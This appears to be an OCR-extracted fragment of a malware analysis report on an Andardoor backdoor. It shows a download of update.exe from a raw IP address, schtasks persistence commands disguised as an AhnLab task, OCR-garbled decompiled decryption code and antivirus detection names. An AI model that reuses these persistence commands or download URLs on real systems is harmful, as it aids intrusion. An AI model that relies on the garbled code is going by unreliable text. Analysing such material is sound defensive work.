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Target Type File Name File Size File Path @

Current O I 8.17 MB % SystemDrive%\innorix_agent\innorixas.exe

Target B mzdes.exe.irx 40.5 KB % SystemDrivels\users\2ASD% \msdes.exe.irx

Process Module Target Data

B innorixas.exe B msdes.exe.irx

B innorixas.exe http://4.246.144.112 /update.exe
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CMDLine
schtasks /delete /tn "ahnlab\asdclient"

schtasks [create /tn "ahnlab\asdclient” /tr "c:\users\20ASD% \msdes.exe" /sc daily /st 09:05:20 /ru gwerty
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do

if ( !vs )

_report_rangecheckfailure(al, a2, a3, a2);
vIB[vi++] = @;

vS = (unsigned _ int&4)v3 < 16;

while { v3 < 16 );
6 = {int)a3;
1f ( {int})a3 @)
1
vy = al - (_QWORD)az2;
do
1
VB = BiB4;
do
1
v = 15i64;
vwl® = (unsigned _ int8)v1B[15] »> 7;
do
{
v13[vd] = _ ROL1__ (v1S[v3 - 1], 1);

while { vo > @ };
vil = 2 * viz[e];
/18[0] *= 2;
if ( vie )
{
w13 e
vld = @i64
do
{
15 = vI344+ A viE[vi4] * byte 146@289@@[v14];
15[ wld++] = wl5;
}
while ( v13 < 16 };
12 = vig[e];

12 = vil | 13
18[@] = v12;
}
while { v& );
LOBYTE(v3) = vi2 ~ va[v7];
*ydd+ = v3;
b
while ( ve };
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e Backdoor/Win.Andardoor.R558252

e Backdoor/Win.Andardoor.C5381120
e Backdoor/Win.Andardoor.C5382662
e Backdoor/Win.Andardoor.C5382103
e Backdoor/Win.Andardoor.C5382101
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